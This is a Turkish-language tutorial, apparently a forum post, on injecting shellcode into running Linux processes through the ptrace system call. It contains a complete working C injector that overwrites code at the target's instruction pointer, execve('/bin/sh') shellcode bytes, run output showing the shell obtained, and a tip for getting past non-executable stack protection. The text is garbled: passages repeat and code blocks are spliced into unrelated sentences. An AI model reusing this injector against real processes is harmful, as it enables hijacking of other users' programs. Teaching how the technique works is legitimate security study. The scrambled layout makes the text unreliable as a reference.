Merhaba Dostlar ilk yazıma hoşgeldiniz. Bu yazımızda Linux içerisinde bulunan process‘ler içerisine nasıl shellcode inject edebileceğimizi göreceğiz.
Bilmeniz Gereken Kavramlar.
Fazla komplekse girmeden anlatmak gerekirse , işletim sistemi‘nin arka planında çalışan usermode-applicationlardır
Mevcut herhangi bir process içerisinde çalışan bytecode‘ların önüne ekleyeceğimiz veya çeşitli yollar ile yerine geçmesini sağlayacağımız saldırgan istekleri doğrultusunda çalışan bytecode ların bahsettiğim yollar ile hedeflenen process lerde çalışmasının sağlanmasıdır…
Teknik olarak konuşacak olursak Linux’ta bir process e erişmenin en iyi yolu işletim sistemleri tarafından sağlanan Debugging Interfaceleri dir. Linux’ta Debugging için en yaygın olarak kullanılan System Call
Linux’ta Debugging için kullandığımız hemen hemen bütün araçlar
Herşeyden önce
Çalışan bir process 'e etki edebilmek için yapmamız gereken ilk şey, bir Debugging process başlatmaktır bunun için
Önce kodumuzun nereye enjekte edilmesini istediğimize karar vermeliyiz. Bunun için iki seçeneğimiz mevcut;
Kodu
Kodu
Ilk yazımdan sizi sıkmamak ve anlaşılmasının kolay olması açısından process kontrolünü ele geçirdiğimizde kodu Instruction Pointer’a enjekte edeceğiz. Ayrıca enjekte ettiğimiz kod Basit bir şekilde shell çağrısında bulunan ufak bir shellcode olacağından Orijinal Process’e kontrolü geri vermemiz mümkün değil. Yani daha basit bir deyişle program shellcode a yönlendiği için programın Bir kısmı yok olacak , ama bu şu anda bizim için o kadarda önemli değil.
Evet Artık Process 'e nasıl Shellcode enjekte edebileceğimizi anladığınıza göre Scriptimizi yazmaya başlayabiliriz. Kodu Doğrudan vermektense size bölüm bölüm açıklamayı tercih ettim.
Kütüpanelerimizi ekliyoruz :
Bu noktada, dahil olmak istediğimiz Process durdurulur ve onu istediğimiz zaman değiştirmeye başlayabiliriz.
Burada ptrace çağrısının “PTRACE_DETACH” parametresi ile hedef process e detach işlemi gerçekleştirilir. Yani process te Debugging yapmayı durduracağız. Bu eylem, Debugging oturumunu etkili bir şekilde durdurur ve hedef process çalışmaya devam eder:
Programı derleyip çalıştırdığımızda , çıktı şu şekilde olacaktır :
Scriptin Tamamlanmış haline Buradan ulaşabilirsiniz : https://pastebin.com/6QZshsrT
Yazı hakkında aklınızda soru işareti varsa yorumlarda belirtebilirsiniz.
Bilmeniz Gereken Kavramlar.
Kod:
Process Nedir ?
Kod:
Process Shellcode Injection Nedir ?
Kod:
Linux Process Debugging
ptrace
dir.Linux’ta Debugging için kullandığımız hemen hemen bütün araçlar
ptrace
hizmetinin sunumlandırılmış hali diyebiliriz.ptrace
Sistem çağrısı bir Process 'te Debugging yapmak için bize yeni bir process sağlar. ptrace
kullanarak, bir process 'in çalıştırılmasını durdurabileceğimiz , Registerların ve belleğinin değerlerini inceleyebileceğimiz gibi, onları istediğimiz değer ile değiştirebiliriz.Herşeyden önce
Çalışan bir process 'e etki edebilmek için yapmamız gereken ilk şey, bir Debugging process başlatmaktır bunun için
ptrace
sistem çağrısını kullanarak Günün sonunda Kendi küçük debugger ımız gibi çalışan bir script yazacağız.Önce kodumuzun nereye enjekte edilmesini istediğimize karar vermeliyiz. Bunun için iki seçeneğimiz mevcut;
Kodu
main()
fonksiyonun bulunduğu adrese enjekte etmeye çalışabiliriz . Oradaki kodun, yalnızca process başlangıcında gerçekleşen bazı yüklemeleri içermesi ihtimali vardır ve bu nedenle, orijinal işlevselliği beklendiği gibi çalışmaya devam edebiliriz.Kodu
Stack
içerisine enjekte edebiliriz. Bu, processi bozmaktan kaçınmak için oldukça güvenlidir, ancak Enjekte ettiğimiz yerin NX Bit (Noexec Stack) ile korunma ihtimalini düşünmeliyiz.Ilk yazımdan sizi sıkmamak ve anlaşılmasının kolay olması açısından process kontrolünü ele geçirdiğimizde kodu Instruction Pointer’a enjekte edeceğiz. Ayrıca enjekte ettiğimiz kod Basit bir şekilde shell çağrısında bulunan ufak bir shellcode olacağından Orijinal Process’e kontrolü geri vermemiz mümkün değil. Yani daha basit bir deyişle program shellcode a yönlendiği için programın Bir kısmı yok olacak , ama bu şu anda bizim için o kadarda önemli değil.
Evet Artık Process 'e nasıl Shellcode enjekte edebileceğimizi anladığınıza göre Scriptimizi yazmaya başlayabiliriz. Kodu Doğrudan vermektense size bölüm bölüm açıklamayı tercih ettim.
Kütüpanelerimizi ekliyoruz :
Main Fonksiyonu Oluşturup değişkenlerimizi tanımlıyoruz :Kod:#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <sys/ptrace.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #include <sys/user.h> #include <sys/reg.h>
Bu Bölümde agüman olarak “target” değişkenine aldığımız Process ID sine sahip process 'e ptrace sistem çağrısının “PTRACE_ATTACH” parametresini kullanarak yeni bir Debugging process i oluşturup hedeflediğimiz process e dinamik olarak dahil olmak istiyoruz, ardından Hedeflediğimiz process e dahil olduğumuzu işaret eden SIGTRAP sinyalini beklemeye koyuluyoruz…Kod:int main (int argc, char *argv[]) { pid_t target; struct user_regs_struct regs; int syscall; long dst;
Bu noktada, dahil olmak istediğimiz Process durdurulur ve onu istediğimiz zaman değiştirmeye başlayabiliriz.
Burada ise ptrace çağrısının “PTRACE_GETREGS” parametresi ile Kontrolümüz altındaki process in Register değerleri regs isimli değişkene atanır.Kod:if (argc != 2) { fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]); exit (1); } target = atoi (argv[1]); printf ("+ Tracing process %d\n", target); if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0) { perror ("ptrace(ATTACH):"); exit (1); } printf ("+ Waiting for process...\n"); wait (NULL);
Aşşağıda gördüğümüz Fonksiyon ise görüldüğü üzere prtace çağrısının “PTRACE_POKETEXT” parametresi ; “inject_data” fonksiyonunun parametreleri ile aldığımız verileri (Shellcode , Shellcode inject edileceği yer vs.) üzerinde Debugging işlemi uyguladığımız asıl process’e yazmamızı sağlar bu aynı zamanda process 'e nasıl shellcode inject ettiğimizi de açıklıyor.Kod:printf ("+ Getting Registers\n"); if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0) { perror ("ptrace(GETREGS):"); exit (1); }
Burada ise Kontrolümüz altındaki process 'e shellcode enjekte etmek için kullanacağımız “inject_data” fonsiyonu çağırılır. Burada bulunan regs.rip ise bize daha önceden regs ismindeki değişkene atadığımız Registerlar içerisinden (x64 Mimariye göre) Instruction Pointerı bize verir.int
inject_data (pid_t pid, unsigned char *src, void *dst, int len)
{
int i;
uint32_t *s = (uint32_t *) src;
uint32_t *d = (uint32_t *) dst;
Kod:for (i = 0; i < len; i+=4, s++, d++) { if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0) { perror ("ptrace(POKETEXT):"); return -1; } } return 0; }
Artık, hedefimizdeki Process Memory, shellcode umuzu içerecek şekilde değiştirildiğine göre, process i tekrar kontrol etmemiz ve çalışmaya devam etmesine izin vermemiz gerekiyor.Kod:printf ("+ Injecting shell code at %p\n", (void*)regs.rip); inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE); regs.rip += 2;
Burada ptrace çağrısının “PTRACE_DETACH” parametresi ile hedef process e detach işlemi gerçekleştirilir. Yani process te Debugging yapmayı durduracağız. Bu eylem, Debugging oturumunu etkili bir şekilde durdurur ve hedef process çalışmaya devam eder:
Test sırasında, Stack içerisine kod enjekte etmeye çalıştığımda hedef program crash oluyordu. Bunun bir nedeni, stack 'in shellcode um için çalıştırılabilir olmamasıydı. execstack Aracını kullanarak bu sorunun üstesinden gelebilirsiniz…Kod:printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip); if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0) { perror ("ptrace(GETREGS):"); exit (1); } printf ("+ Run it!\n"); if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0) { perror ("ptrace(DETACH):"); exit (1); } return 0; }
Programı derleyip çalıştırdığımızda , çıktı şu şekilde olacaktır :
ArdındanKod:┌─[mehmet@kernel]─[~/Desktop] └──╼ $./ptr 1349 + Tracing process 1349 + Waiting for process... + Getting Registers + Injecting shell code at 0x7f74bfde45ce + Setting instruction pointer to 0x7f74bfde45d0 + Run it! $
echo $SHELL
komutu ile /bin/sh 'a düştüğümüzü görebiliyoruz.Bu kısımdan shellcode 'u kendinize göre ayarlayabilirsinizKod:unsigned char shellcode[] = \ "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";
Scriptin Tamamlanmış haline Buradan ulaşabilirsiniz : https://pastebin.com/6QZshsrT
Yazı hakkında aklınızda soru işareti varsa yorumlarda belirtebilirsiniz.